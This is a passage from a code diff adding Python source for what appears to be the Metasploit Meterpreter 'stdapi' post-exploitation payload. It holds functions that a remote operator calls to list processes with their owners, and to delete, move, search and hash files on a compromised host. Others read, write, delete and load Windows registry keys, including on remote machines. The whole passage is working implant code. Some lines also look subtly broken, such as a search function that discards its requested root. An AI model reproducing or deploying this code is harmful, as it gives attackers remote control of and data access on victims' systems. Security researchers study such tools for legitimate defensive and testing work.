|
496
|
+ if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
|
|
497
|
+ success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
|
|
498
|
+ if success:
|
|
499
|
+ exe_path = ctypes.string_at(exe_path)
|
|
500
|
+ else:
|
|
501
|
+ exe_path = ''
|
|
502
|
+ complete_username = ''
|
|
503
|
+ tkn_h = ctypes.c_long()
|
|
504
|
+ tkn_len = ctypes.c_uint32()
|
|
505
|
+ if ctypes.windll.advapi32.OpenProcessToken(proc_h, TOKEN_QUERY, ctypes.byref(tkn_h)):
|
|
506
|
+ ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, None, 0, ctypes.byref(tkn_len))
|
|
507
|
+ buf = (ctypes.c_ubyte * tkn_len.value)()
|
|
508
|
+ if ctypes.windll.advapi32.GetTokenInformation(tkn_h, TokenUser, ctypes.byref(buf), ctypes.sizeof(buf), ctypes.byref(tkn_len)):
|
|
509
|
+ user_tkn = SID_AND_ATTRIBUTES()
|
|
510
|
+ ctypes.memmove(ctypes.byref(user_tkn), buf, ctypes.sizeof(user_tkn))
|
|
511
|
+ username = (ctypes.c_char * 512)()
|
|
512
|
+ domain = (ctypes.c_char * 512)()
|
|
513
|
+ u_len = ctypes.c_uint32()
|
|
514
|
+ u_len.value = ctypes.sizeof(username)
|
|
515
|
+ d_len = ctypes.c_uint32()
|
|
516
|
+ d_len.value = ctypes.sizeof(domain)
|
|
517
|
+ use = ctypes.c_ulong()
|
|
518
|
+ use.value = 0
|
|
519
|
+ ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use))
|
|
520
|
+ complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username)
|
|
521
|
+ k32.CloseHandle(tkn_h)
|
|
522
|
+ parch = windll_GetNativeSystemInfo()
|
|
523
|
+ is_wow64 = ctypes.c_ubyte()
|
|
524
|
+ is_wow64.value = 0
|
|
525
|
+ if hasattr(k32, 'IsWow64Process'):
|
|
526
|
+ if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
|
|
527
|
+ if is_wow64.value:
|
|
528
|
+ parch = PROCESS_ARCH_X86
|
|
529
|
+ pgroup = ''
|
|
530
|
+ pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
|
|
531
|
+ pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
|
|
532
|
+ pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username)
|
|
533
|
+ pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
|
|
534
|
+ pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
|
|
535
|
+ pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
|
|
536
|
+ response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
|
537
|
+ result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
|
|
538
|
+ k32.CloseHandle(proc_h)
|
|
539
|
+ k32.CloseHandle(proc_snap)
|
|
540
|
+ return ERROR_SUCCESS, response
|
|
541
|
+
|
|
542
|
+@meterpreter.register_function
|
|
543
|
+def stdapi_sys_process_get_processes(request, response):
|
|
544
|
+ if os.path.isdir('/proc'):
|
|
545
|
+ return stdapi_sys_process_get_processes_via_proc(request, response)
|
|
546
|
+ elif has_windll:
|
|
547
|
+ return stdapi_sys_process_get_processes_via_windll(request, response)
|
|
548
|
+ else:
|
|
549
|
+ return stdapi_sys_process_get_processes_via_ps(request, response)
|
|
550
|
+ return ERROR_FAILURE, response
|
|
551
|
+
|
|
552
|
+@meterpreter.register_function
|
|
553
|
+def stdapi_fs_chdir(request, response):
|
|
554
|
+ wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
555
|
+ os.chdir(wd)
|
|
556
|
+ return ERROR_SUCCESS, response
|
|
557
|
+
|
|
558
|
+@meterpreter.register_function
|
|
559
|
+def stdapi_fs_delete(request, response):
|
|
560
|
+ file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
|
561
|
+ os.unlink(file_path)
|
|
562
|
+ return ERROR_SUCCESS, response
|
|
563
|
+
|
|
564
|
+@meterpreter.register_function
|
|
565
|
+def stdapi_fs_delete_dir(request, response):
|
|
566
|
+ dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
567
|
+ if os.path.islink(dir_path):
|
|
568
|
+ del_func = os.unlink
|
|
569
|
+ else:
|
|
570
|
+ del_func = shutil.rmtree
|
|
571
|
+ del_func(dir_path)
|
|
572
|
+ return ERROR_SUCCESS, response
|
|
573
|
+
|
|
574
|
+@meterpreter.register_function
|
|
575
|
+def stdapi_fs_delete_file(request, response):
|
|
576
|
+ file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
577
|
+ os.unlink(file_path)
|
|
578
|
+ return ERROR_SUCCESS, response
|
|
579
|
+
|
|
580
|
+@meterpreter.register_function
|
|
581
|
+def stdapi_fs_file_expand_path(request, response):
|
|
582
|
+ path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
583
|
+ if has_windll:
|
|
584
|
+ path_out = (ctypes.c_char * 4096)()
|
|
585
|
+ path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
|
586
|
+ result = ''.join(path_out)[:path_out_len]
|
|
587
|
+ elif path_tlv == '%COMSPEC%':
|
|
588
|
+ result = '/bin/sh'
|
|
589
|
+ elif path_tlv in ['%TEMP%', '%TMP%']:
|
|
590
|
+ result = '/tmp'
|
|
591
|
+ else:
|
|
592
|
+ result = os.getenv(path_tlv, path_tlv)
|
|
593
|
+ if not result:
|
|
594
|
+ return ERROR_FAILURE, response
|
|
595
|
+ response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
|
596
|
+ return ERROR_SUCCESS, response
|
|
597
|
+
|
|
598
|
+@meterpreter.register_function
|
|
599
|
+def stdapi_fs_file_move(request, response):
|
|
600
|
+ oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
|
601
|
+ newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
602
|
+ os.rename(oldname, newname)
|
|
603
|
+ return ERROR_SUCCESS, response
|
|
604
|
+
|
|
605
|
+@meterpreter.register_function
|
|
606
|
+def stdapi_fs_getwd(request, response):
|
|
607
|
+ response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
|
608
|
+ return ERROR_SUCCESS, response
|
|
609
|
+
|
|
610
|
+@meterpreter.register_function
|
|
611
|
+def stdapi_fs_ls(request, response):
|
|
612
|
+ path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
613
|
+ path = os.path.abspath(path)
|
|
614
|
+ contents = os.listdir(path)
|
|
615
|
+ contents.sort()
|
|
616
|
+ for x in contents:
|
|
617
|
+ y = os.path.join(path, x)
|
|
618
|
+ response += tlv_pack(TLV_TYPE_FILE_NAME, x)
|
|
619
|
+ response += tlv_pack(TLV_TYPE_FILE_PATH, y)
|
|
620
|
+ response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
|
|
621
|
+ return ERROR_SUCCESS, response
|
|
622
|
+
|
|
623
|
+@meterpreter.register_function
|
|
624
|
+def stdapi_fs_md5(request, response):
|
|
625
|
+ if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
|
626
|
+ import md5
|
|
627
|
+ m = md5.new()
|
|
628
|
+ else:
|
|
629
|
+ import hashlib
|
|
630
|
+ m = hashlib.md5()
|
|
631
|
+ path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
632
|
+ m.update(open(path, 'rb').read())
|
|
633
|
+ response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
|
634
|
+ return ERROR_SUCCESS, response
|
|
635
|
+
|
|
636
|
+@meterpreter.register_function
|
|
637
|
+def stdapi_fs_mkdir(request, response):
|
|
638
|
+ dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
|
639
|
+ os.mkdir(dir_path)
|
|
640
|
+ return ERROR_SUCCESS, response
|
|
641
|
+
|
|
642
|
+@meterpreter.register_function
|
|
643
|
+def stdapi_fs_search(request, response):
|
|
644
|
+ search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
|
|
645
|
+ search_root = ('' or '.') # sometimes it's an empty string
|
|
646
|
+ glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
|
|
647
|
+ recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
|
|
648
|
+ if recurse:
|
|
649
|
+ for root, dirs, files in os.walk(search_root):
|
|
650
|
+ for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
|
|
651
|
+ file_tlv = ''
|
|
652
|
+ file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
|
|
653
|
+ file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
|
654
|
+ file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(root, f)).st_size)
|
|
655
|
+ response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
|
656
|
+ else:
|
|
657
|
+ for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
|
|
658
|
+ file_tlv = ''
|
|
659
|
+ file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
|
|
660
|
+ file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
|
|
661
|
+ file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, os.stat(os.path.join(search_root, f)).st_size)
|
|
662
|
+ response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
|
|
663
|
+ return ERROR_SUCCESS, response
|
|
664
|
+
|
|
665
|
+@meterpreter.register_function
|
|
666
|
+def stdapi_fs_separator(request, response):
|
|
667
|
+ response += tlv_pack(TLV_TYPE_STRING, os.sep)
|
|
668
|
+ return ERROR_SUCCESS, response
|
|
669
|
+
|
|
670
|
+@meterpreter.register_function
|
|
671
|
+def stdapi_fs_sha1(request, response):
|
|
672
|
+ if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
|
673
|
+ import sha1
|
|
674
|
+ m = sha1.new()
|
|
675
|
+ else:
|
|
676
|
+ import hashlib
|
|
677
|
+ m = hashlib.sha1()
|
|
678
|
+ path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
679
|
+ m.update(open(path, 'rb').read())
|
|
680
|
+ response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
|
681
|
+ return ERROR_SUCCESS, response
|
|
682
|
+
|
|
683
|
+@meterpreter.register_function
|
|
684
|
+def stdapi_fs_stat(request, response):
|
|
685
|
+ path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
686
|
+ st_buf = get_stat_buffer(path)
|
|
687
|
+ response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
|
688
|
+ return ERROR_SUCCESS, response
|
|
689
|
+
|
|
690
|
+@meterpreter.register_function
|
|
691
|
+def stdapi_net_socket_tcp_shutdown(request, response):
|
|
692
|
+ channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
|
|
693
|
+ channel = meterpreter.channels[channel_id]
|
|
694
|
+ channel.close()
|
|
695
|
+ return ERROR_SUCCESS, response
|
|
696
|
+
|
|
697
|
+@meterpreter.register_function_windll
|
|
698
|
+def stdapi_registry_close_key(request, response):
|
|
699
|
+ hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
700
|
+ result = ctypes.windll.advapi32.RegCloseKey(hkey)
|
|
701
|
+ return ERROR_SUCCESS, response
|
|
702
|
+
|
|
703
|
+@meterpreter.register_function_windll
|
|
704
|
+def stdapi_registry_create_key(request, response):
|
|
705
|
+ root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
706
|
+ base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
707
|
+ permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
|
708
|
+ res_key = ctypes.c_void_p()
|
|
709
|
+ if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
|
|
710
|
+ response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
|
|
711
|
+ return ERROR_SUCCESS, response
|
|
712
|
+ return ERROR_FAILURE, response
|
|
713
|
+
|
|
714
|
+@meterpreter.register_function_windll
|
|
715
|
+def stdapi_registry_delete_key(request, response):
|
|
716
|
+ root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
717
|
+ base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
718
|
+ flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
|
|
719
|
+ if (flags & DELETE_KEY_FLAG_RECURSIVE):
|
|
720
|
+ result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
|
|
721
|
+ else:
|
|
722
|
+ result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
|
|
723
|
+ return result, response
|
|
724
|
+
|
|
725
|
+@meterpreter.register_function_windll
|
|
726
|
+def stdapi_registry_delete_value(request, response):
|
|
727
|
+ root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
728
|
+ value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
|
729
|
+ result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
|
|
730
|
+ return result, response
|
|
731
|
+
|
|
732
|
+@meterpreter.register_function_windll
|
|
733
|
+def stdapi_registry_enum_key(request, response):
|
|
734
|
+ ERROR_MORE_DATA = 0xea
|
|
735
|
+ ERROR_NO_MORE_ITEMS = 0x0103
|
|
736
|
+ hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
737
|
+ name = (ctypes.c_char * 4096)()
|
|
738
|
+ index = 0
|
|
739
|
+ tries = 0
|
|
740
|
+ while True:
|
|
741
|
+ result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
|
|
742
|
+ if result == ERROR_MORE_DATA:
|
|
743
|
+ if tries > 3:
|
|
744
|
+ break
|
|
745
|
+ name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
|
|
746
|
+ tries += 1
|
|
747
|
+ continue
|
|
748
|
+ elif result == ERROR_NO_MORE_ITEMS:
|
|
749
|
+ result = ERROR_SUCCESS
|
|
750
|
+ break
|
|
751
|
+ elif result != ERROR_SUCCESS:
|
|
752
|
+ break
|
|
753
|
+ tries = 0
|
|
754
|
+ response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
|
|
755
|
+ index += 1
|
|
756
|
+ return result, response
|
|
757
|
+
|
|
758
|
+@meterpreter.register_function_windll
|
|
759
|
+def stdapi_registry_enum_value(request, response):
|
|
760
|
+ ERROR_MORE_DATA = 0xea
|
|
761
|
+ ERROR_NO_MORE_ITEMS = 0x0103
|
|
762
|
+ hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
763
|
+ name = (ctypes.c_char * 4096)()
|
|
764
|
+ name_sz = ctypes.c_uint32()
|
|
765
|
+ index = 0
|
|
766
|
+ tries = 0
|
|
767
|
+ while True:
|
|
768
|
+ name_sz.value = ctypes.sizeof(name)
|
|
769
|
+ result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
|
|
770
|
+ if result == ERROR_MORE_DATA:
|
|
771
|
+ if tries > 3:
|
|
772
|
+ break
|
|
773
|
+ name = (ctypes.c_char * (ctypes.sizeof(name) * 3))
|
|
774
|
+ tries += 1
|
|
775
|
+ continue
|
|
776
|
+ elif result == ERROR_NO_MORE_ITEMS:
|
|
777
|
+ result = ERROR_SUCCESS
|
|
778
|
+ break
|
|
779
|
+ elif result != ERROR_SUCCESS:
|
|
780
|
+ break
|
|
781
|
+ tries = 0
|
|
782
|
+ response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name))
|
|
783
|
+ index += 1
|
|
784
|
+ return result, response
|
|
785
|
+
|
|
786
|
+@meterpreter.register_function_windll
|
|
787
|
+def stdapi_registry_load_key(request, response):
|
|
788
|
+ root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
|
|
789
|
+ sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)
|
|
790
|
+ file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH)
|
|
791
|
+ result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
|
|
792
|
+ return result, response
|
|
793
|
+
|
|
794
|
+@meterpreter.register_function_windll
|
|
795
|
+def stdapi_registry_open_key(request, response):
|
|
796
|
+ root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
797
|
+ base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
798
|
+ permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
|
799
|
+ handle_id = ctypes.c_void_p()
|
|
800
|
+ if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
|
|
801
|
+ response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
|
802
|
+ return ERROR_SUCCESS, response
|
|
803
|
+ return ERROR_FAILURE, response
|
|
804
|
+
|
|
805
|
+@meterpreter.register_function_windll
|
|
806
|
+def stdapi_registry_open_remote_key(request, response):
|
|
807
|
+ target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
|
|
808
|
+ root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
809
|
+ result_key = ctypes.c_void_p()
|
|
810
|
+ result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key))
|
|
811
|
+ if (result == ERROR_SUCCESS):
|
|
812
|
+ response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
|
|
813
|
+ return ERROR_SUCCESS, response
|
|
814
|
+ return ERROR_FAILURE, response
|
|
815
|
+
|
|
816
|
+@meterpreter.register_function_windll
|
|
817
|
+def stdapi_registry_query_class(request, response):
|
|
818
|
+ hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
819
|
+ value_data = (ctypes.c_char * 4096)()
|
|
820
|
+ value_data_sz = ctypes.c_uint32()
|
|
821
|
+ value_data_sz.value = ctypes.sizeof(value_data)
|
|
822
|
+ result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None)
|
|
823
|
+ if result == ERROR_SUCCESS:
|
|
824
|
+ response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
|
825
|
+ return ERROR_SUCCESS, response
|
|
826
|
+ return ERROR_FAILURE, response
|
|
827
|
+
|
|
828
|
+@meterpreter.register_function_windll
|
|
829
|
+def stdapi_registry_query_value(request, response):
|
|
830
|
+ REG_SZ = 1
|
|
831
|
+ REG_DWORD = 4
|
|
832
|
+ hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
833
|
+ value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
|
834
|
+ value_type = ctypes.c_uint32()
|
|
835
|
+ value_type.value = 0
|
|
836
|
+ value_data = (ctypes.c_ubyte * 4096)()
|
|
837
|
+ value_data_sz = ctypes.c_uint32()
|
|
838
|
+ value_data_sz.value = ctypes.sizeof(value_data)
|
|
839
|
+ result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
|
|
840
|
+ if result == ERROR_SUCCESS:
|
|
841
|
+ response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
|
|
842
|
+ if value_type.value == REG_SZ:
|
|
843
|
+ response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
|
|
844
|
+ elif value_type.value == REG_DWORD:
|
|
845
|
+ response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4])
|
|
846
|
+ else:
|
|
847
|
+ response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value])
|
|
848
|
+ return ERROR_SUCCESS, response
|
|
849
|
+ return ERROR_FAILURE, response
|
|
850
|
+
|
|
851
|
+@meterpreter.register_function_windll
|
|
852
|
+def stdapi_registry_set_value(request, response):
|
|
853
|
+ hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
854
|
+ value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
|
855
|
+ value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
|
856
|
+ value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
|
|
857
|
+ result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
|
|
858
|
+ return result, response
|
|
859
|
+
|
|
860
|
+@meterpreter.register_function_windll
|
|
861
|
+def stdapi_registry_unload_key(request, response):
|
|
862
|
+ root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
863
|
+ base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
864
|
+ result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key)
|
|
865
|
+ return result, response
|